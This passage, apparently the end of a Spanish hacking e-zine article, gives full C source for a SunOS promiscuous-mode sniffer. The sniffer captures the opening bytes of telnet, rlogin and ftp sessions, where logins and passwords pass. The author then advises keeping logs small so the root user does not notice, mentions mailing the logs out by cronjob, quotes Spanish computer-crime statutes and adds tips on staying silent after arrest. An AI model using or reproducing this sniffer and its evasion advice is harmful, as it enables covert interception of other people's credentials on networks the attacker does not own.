#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
    struct CREC *Next,
                *Last;
    time_t  Time;             /* start time */
    struct in_addr SRCip,
                   DSTip;
    u_int   SRCport,          /* src/dst ports */
            DSTport;
    u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
    u_int   Length;           /* current data length */
    u_int   PKcnt;            /* # pkts */
    u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
     gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}
```

```
char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
       (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
           break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
           case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                      break; \
           case '\r': \
           case '\n': fprintf(LOG,"\n     : "); \
                      break; \
           default  : fprintf(LOG,"^%c", (*dp + 64)); \
                      break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
```

```
    }

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                    NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }
```

```
   /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
   return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
      (TCPD == IPPORT_LOGINSERVER) ||
      (TCPD == IPPORT_FTP)
  )) return;

 { register struct CREC *CLm;
  register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  register u_char *p = (u_char *)Packet;

  p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
       END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
       fclose(LOG);
```

```
        exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }
```

```
    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                     *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
      register char ch = argv[ac++][1];
      switch(toupper(ch)) {
          case 'I': device=argv[ac++];
                    break;
          case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                       Zexit(1,"Output file cant be opened\n");
                    break;
          case 'B': backg=1;
                    break;
          case 'D': debug=1;
                    break;
          default : fprintf(ERR,
                      "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                         ProgName);
                    exit(1);
      }
    }

    if(!device) {
```

```
          if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
          (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
            fprintf(ERR,"[pid %d]\n",s);
            exit(0);
        } else if(s<0)
            Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}
```

Lo que se ha de tener en cuenta cuando instalas un sniffer en una maquina es que como es logico, si hay mucho trafico de paquetes en esa maquina y no seleccionais bien la forma de filtrar que info queda en el log y cual no, se pueden generar ficheros de logs grandisimos por lo que este es un factor muy a tener en cuenta porque a veces si te equivocas.. se crea un fichero grandisimo, el root se percata y a la mierda todo el trabajo :o(

Dependiendo de la makina y su trafico puede ser suficiente mirar los logs cada semana mas o menos o cada dos. Tambien, si eres comodo puedes usar un cronjob que te mailee los logs, pero eso kanta mas :)

11.- LEGALIDAD

Para acabar el articulo, creo que debo de acabar con esto ya que siempre hay que recordar que todo esto es ilegal... luego no digais que no estais avisados aunque tambien depende de lo que hagais. En realidad, opino

que por entrar en una maquina y hacer cuatro cosas sin hacer daño a nadie ni haciendoles perder datos, ni haciendolo por motivos de lucro o para destrozar cosas, esto no deberia ser ilegal pero en fin.. la guardia civil en lugar de dedicarse a perseguir a toda la mala gente que hay por ahi, se dedica a jodernos a nosotros.. la vida es asi :o(

Sinceramente, no se si este codigo penal es el que nos interesa a nosotros ya que de leyes no tengo ni idea, pero lo he pillado por ahi y creo que es interesante que por lo menos le deis una leida:

Ademas adjunto un texto como sobre comportarse si pasa algo que aunque esta orientado al caso de pirateria de software, creo que es sencilla su extrapolacion al caso que nos ocupa.

NUEVO CODIGO PENAL

DELITOS RELACIONADOS CON LAS TECNOLOGIAS DE LA INFORMACION

TITULO X

Delitos contra la intimidad, el derecho a la propia imagen y la inviolabilidad del domicilio

CAPITULO I

Del descubrimiento y revelacion de secretos

Articulo 197

1. El que para descubrir los secretos o vulnerar la intimidad de otro, sin su consentimiento, se apodere de sus papeles, cartas, mensajes de correo electronico o cualesquiera otros documentos o efectos personales o intercepte sus telecomunicaciones o utilice artificios tecnicos de escucha, transmision, grabacion o reproduccion del sonido o de la imagen, o de cualquier otra señal de comunicacion, sera castigado con las penas de prision de uno a cuatro años y multa de doce a veinticuatro meses.

2. Las mismas penas se impondran al que, sin estar autorizado, se apodere, utilice o modifique, en perjuicio de tercero, datos reservados de caracter personal o familiar de otro que se hallen registrados en ficheros o soportes informaticos, electronicos o telematicos, o en cualquier otro tipo de archivo o registro publico o privado. Iguales penas se impondran a quien, sin estar autorizado, acceda por cualquier medio a los mismos y a quien los altere o utilice en perjuicio del titular de los datos o de un tercero.

3. Se impondra la pena de prision de dos a cinco años si se difunden, revelan o ceden a terceros los datos o hechos descubiertos o las imagenes captadas a que se refieren los numeros anteriores. Sera castigado con las penas de prision de uno a tres años y multa de doce a veinticuatro meses, el que, con conocimiento de su origen ilicito y sin haber tomado parte en su descubrimiento, realizare la conducta descrita en el parrafo anterior.

4. Si los hechos descritos en los apartados 1 y 2 de este articulo se realizan por las personas encargadas o responsables de los ficheros, soportes informaticos, electronicos o telematicos, archivos o registros, se impondra la pena de prision de tres a cinco años, y si se difunden, ceden o revelan los datos reservados, se impondra la pena en su mitad superior.

5. Igualmente, cuando los hechos descritos en los apartados anteriores afecten a datos de caracter personal que revelen la ideologia, religion, creencias, salud, origen racial o vida sexual, o la victima fuere un menor de edad o un incapaz, se impondran las penas previstas en su mitad superior.

6. Si los hechos se realizan con fines lucrativos, se impondran las penas respectivamente previstas en los apartados 1 al 4 de este articulo en su mitad superior. Si ademas afectan a datos de los mencionados en el apartado 5, la pena a imponer sera la de prision de cuatro a siete años.

Articulo 198

La autoridad o funcionario publico que, fuera de los casos permitidos por la Ley, sin mediar causa legal por delito, y prevaliendose de su cargo, realizare cualquiera de las conductas descritas en el articulo anterior, sera castigado con las penas respectivamente previstas en el mismo, en su mitad superior y, ademas, con la de inhabilitacion absoluta por tiempo de seis a doce años.

Articulo 199

1. El que revelare secretos ajenos, de los que tenga conocimiento por razon de su oficio o sus relaciones laborales, sera castigado con la pena de prision de uno a tres años y multa de seis a doce meses.

2. El profesional que, con incumplimiento de su obligacion de sigilo o reserva, divulgue los secretos de otra persona, sera castigado con la pena de prision de uno a cuatro años, multa de doce a veinticuatro meses e inhabilitacion especial para dicha profesion por tiempo de dos a seis años.

Articulo 200

Lo dispuesto en este capitulo sera aplicable al que descubriere, revelare o cediere datos reservados de personas juridicas, sin el consentimiento de sus representantes, salvo lo dispuesto en otros preceptos de este codigo.

Articulo 201

1. Para proceder por los delitos previstos en este capitulo sera necesaria denuncia de la persona agraviada o de su representante legal. Cuando aquella sea menor de edad, incapaz o una persona desvalida, tambien podra denunciar el Ministerio Fiscal.

2. No sera precisa la denuncia exigida en el apartado anterior para proceder por los hechos descritos en el articulo 198 de este Codigo, ni cuando la comision del delito afecte a los intereses generales o a una pluralidad de personas.

3. El perdon del ofendido o de su representante legal, en su caso, extingue la accion penal o la pena impuesta, sin perjuicio de lo dispuesto en el segundo parrafo del numero 4º del articulo 130.

Articulo 248.

1.- Cometen estafa los que, con animo de lucro, utilizaren engaño bastante para producir error en otro, induciendolo a realizar un acto de disposicion en perjuicio propio o ajeno.

2.- Tambien se consideran reos de estafa los que, con animo de lucro, y valiendose de alguna manipulacion informatica o artificio semejante consigan la transferencia no consentida de cualquier activo patrimonial en perjuicio de tercero.

Articulo 263.

El que causare daños en propiedad ajena no comprendidos en otros Titulos de este Codigo, sera castigado con la pena de multa de seis a veinticuatro meses, atendidas la condicion economica de la victima y la cuantia del daño, si este excediera de cincuenta mil pesetas.

Articulo 264.

1.- Sera castigado con la pena de prision de uno a tres años y multa de doce a veinticuatro meses el que causare daños expresados en el articulo anterior, si concurriera alguno de los supuestos siguientes:

1º.- Que se realicen para impedir el libre ejercicio de la autoridad o en venganza de sus determinaciones, bien se cometiere el delito contra funcionarios publicos, bien contra particulares que, como testigos o de cualquier otra manera, hayan contribuido o pueden contribuir a la ejecucion o aplicacion de las Leyes o disposiciones generales.

2º.-Que se cause por cualquier medio infeccion o contagio de ganado.

3º.-Que se empleen sustancias venenosas o corrosivas.

4º.- Que afecten a bienes de dominio o uso publico o comunal.

5º.- Que arruinen al perjudicado o se le coloque en grave situacion economica.

2.- La misma pena se impondra al que por cualquier medio destruya, altere, inutilice o de cualquier otro modo dañe los datos, programas o documentos electronicos ajenos contenidos en redes, soportes o sistemas informaticos.

CAPITULO XI

De los delitos relativos a la propiedad intelectual e industrial, al mercado y a los consumidores

Seccion 1ª.- DE LOS DELITOS RELATIVOS A LA PROPIEDAD INTELECTUAL.

Articulo 270.

Sera castigado con la pena de prision de seis meses a dos años o de multa de seis a veinticuatro meses quien, con animo de lucro y en perjuicio de tercero, reproduzca, plagie, distribuya o comunique publicamente, en todo o en parte, una obra literaria, artistica o cientifica, o su transformacion, interpretacion o ejecucion artisitica fijada en cualquier tipo de soporte o comunicada a traves de cualquier medio, sin la autorizacion de los titulares de los correspondientes derechos de propiedad intelectual o de sus cesionarios.

La misma pena se impondra a quien intencionadamente importe, exporte o almacene ejemplares de dichas obras o producciones o ejecuciones sin la referida autorizacion.

Sera castigada tambien con la misma pena la fabricacion, puesta en circulacion y tenencia de cualquier medio especificamente destinada a facilitar la supresion no autorizada o la neutralizacion de cualquier dispositivo tecnico que se haya utilizado para proteger programas de ordenador.

Articulo 278.

1.- El que, para descubrir un secreto de empresa se apoderare por cualquier medio de datos, documentos escritos o electronicos, soportes informaticos u otros objetos que se refieran al mismo, o empleare alguno de los medios o instrumentos señalados en el apartado 1 del articulo 197, sera castigado con la pena de prision de dos a cuatro años y multa de doce a veinticuatro meses.

2.- Se impondra la pena de prision de tres a cinco años y multa de doce a veinticuatro meses si se difundieren, revelaren o cedieren a terceros los secretos descubiertos.

3.- Lo dispuesto en el presente articulo se entendera sin perjuicio de las penas que pudieran corresponder por el apoderamiento o destruccion de los soportes informaticos.

CAPITULO III

Disposicion general

Articulo 400.

La fabricacion o tenencia de utiles, materiales , instrumentos, sustancias, maquinas, programas de ordenador o aparatos, especificamente destinados a la comision de los delitos descritos en los capitulos anteriores, se castigaran con la pena señalada en cada paso para los autores.

Articulo 536.

La autoridad, funcionario publico o agente de estos que, mediando causa por delito, interceptare las telecomunicaciones o utilizare artificios tecnicos de escuhas, transmision, grabacion o reproduccion del sonido, de la imagen o de cualquier otra señal de comunicacion, con violacion de las garantias constitucionales o legales, incurrira en la pena de inhabilitacion especial para empleo o cargo publico de dos a seis años.
Si divulgare o revelare la informacion obtenida, se impondran las penas de inhabilitacion especial, en su mitad superior y, ademas la de multa de seis a dieciocho meses.

Ademas adjunto un texto de shooting que he pillado en la red y que da algunos consejos... aunque en principio se refiere a la venta de software ilegal, lo he adjuntado ya que su extrapolacion al caso que nos ocupa es sencilla y quiza algun dia nos haga falta :o(

Establece el articulo 520 de la Ley de Enjuiciamiento Criminal. que toda persona detenida o presa sera informada, de modo que le sea comprensible, y de forma inmediata, de los hechos que se le imputan y las razones motivadoras
de su privacion de libertad, asi como de los derechos que le asisten y especialmente de los siguientes:

Derecho a guardar silencio no declarando si no quiere, a no contestar alguna o algunas de las preguntas que le formulen, o a manifestar que solo declarara ante el Juez. La mejor forma de ejercitar este derecho es no decir nada. Asi de sencillo y aunque parezca una perogrullada, desde el principio, desde el mismo momento de la detencion, nada, absolutamente nada.

La policia querra saber donde estan los Cds, la agenda del detenido, a quien le ha comprado y vendido este el material, etc. En ese momento, lo mejor que puede hacer el detenido es sonreir... y guardar silencio.

Pese a lo que se le hace creer al ciudadano desde la escuela, el detenido no tiene ninguna obligacion de colaborar con la policia, y lo que diga solo le puede perjudicar.

No esta de mas comentar en este punto que cualquier intento de sonsacar al detenido con cualquier tipo de coaccion, por suave que parezca, debe ser denunciado en la primera declaracion ante el Juez. Es muy posible que se informe al detenido que si declara, lo dejaran inmediatamente en libertad, y que si no lo hace, detendran a sus amigos o familiares, o avisaran a su empresa. Teniendo en cuenta que el detenido en este tipo de delitos suele ser joven e inexperto, este tipo de presiones son intolerables y deben denunciarse a la primera oportunidad.

Derecho a no declarar contra si mismo y a no confesarse culpable. Esta intimamente relacionado con el derecho anterior, del que trae causa.

Derecho a designar Abogado y a solicitar su presencia para que asista a las diligencias policiales y judiciales de declaracion e intervenga en todo reconocimiento de identidad de que sea objeto.

Si el detenido o preso no designara Abogado, se procedera a la designacion de oficio. No es imprescindible avisar al abogado de confianza, dado que en el supuesto de no declarar, es indiferente que a dicha negativa asista un letrado particular, o el de oficio Lo que sucede es que en el caso de cambiar posteriormente de abogado, se incrementan los gastos, dado que se ha de abonar la minuta al primer designado. Una vez firmada la negativa a declarar, el detenido tiene derecho a una entrevista a solas con el letrado, para preparar la declaracion ante el Juez, en la que si es conveniente asesorarse con alguien que entienda de informatica.

Derecho a que se ponga en conocimiento del familiar o persona que desee, el hecho de la detencion y el lugar de custodia en que se halle en cada momento.

Los extranjeros tendran derecho a que las circunstancias *anteriores se comuniquen a la Oficina Consular de su pais.

Deben olvidarse las vergüenzas, ya que esta en juego algo mas importante que una bronca familiar. Cuanta mas gente conozca la detencion, mejor, asi que la familia debe avisar a todos los amigos que figuren en la agenda del detenido, antes de que los avise la policia. Otra razon para avisar a la familia es que en caso que la detencion se alargue innecesariamente, se puede recurrir al Habeas Corpus, una peticion ante el Juez de Guardia para que se ponga inmediatamente al detenido en presencia de la autoridad judicial, lo que a veces puede ser necesario, sobre todo si se trata de jovenes de animo debil...

Derecho a ser asistido gratuitamente por un interprete.

Cuando se trate de extranjero que no comprenda o no hable el castellano. En este punto el detenido podria ponerse a exigir hablar en el idioma propio, lo que es perfectamente inutil cuando no se piensa declarar...

Derecho a ser reconocido por el Medico Forense o su sustituto legal y,en su defecto,por el de la Institucion en que se encuentre, o por cualquier otro dependiente del Estado o de otras Administraciones Publicas.

Aprovechando que no tiene nada mejor que hacer, es conveniente que el detenido insista en que venga el medico. Asi, ademas de pasar mas entretenidas las horas de la detencion, en el supuesto de que venga el

medico ya hay un primer diagnostico que informa que el detenido entro sin lesiones en comisaria. Si dicha situacion cambia, alguien tendra que dar explicaciones.

Una vez ha pasado el miedo de la primera fase de la detencion, se podra reflexionar tranquilamente sobre que declarar ante el Juez. Cada caso es diferente, y el mas preparado para diseñar la estrategia de ese momento sera el abogado que libremente escoja el detenido. En cualquier caso, no esta de mas recordar que para que exista delito por copia ilegal de software, esta debe ser con animo de lucro y en perjuicio de tercero. A sensu contrario, pueden deducirse de ello dos consejos, a saber:

-Nunca debe reconocerse haber cobrado o pagado por una copia

-Debe proclamarse solemnemente que de no copiar el software, tampoco lo hubiesemos comprado, lo que descarta el perjuicio del tercero, que no podra en tal caso argumentar que ha perdido una venta. Ya que Bill Gates no es altruista, seamoslo nosotros con nuestros semejantes...